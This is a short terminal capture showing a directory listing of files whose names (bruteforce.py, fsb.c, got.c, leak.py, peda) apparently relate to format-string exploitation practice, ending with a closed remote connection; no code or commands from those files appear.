-rw-rw-r-- 1 ubuntu ubuntu 1009 Feb 16 19:10 bruteforce.py
-rwxrwxr-x 1 ubuntu ubuntu 7373 Feb 13 16:25 format
-rw-rw-r-- 1 ubuntu ubuntu  158 Feb 13 16:24 format.c
-rwxrwxr-x 1 ubuntu ubuntu 7445 Feb 15 22:44 fsb
-rw-rw-r-- 1 ubuntu ubuntu  196 Feb 15 22:42 fsb.c
-rwxrwxr-x 1 ubuntu ubuntu 7456 Feb 16 11:01 got
-rw-rw-r-- 1 ubuntu ubuntu  217 Feb 16 11:01 got.c
-rw-rw-r-- 1 ubuntu ubuntu  622 Feb 17 00:43 leak.py
drwxrwxr-x 4 ubuntu ubuntu 4096 Feb 14 14:55 peda
-rw-rw-r-- 1 ubuntu ubuntu  413 Feb 16 14:31 template.py

exit
*** Connection closed by remote host ***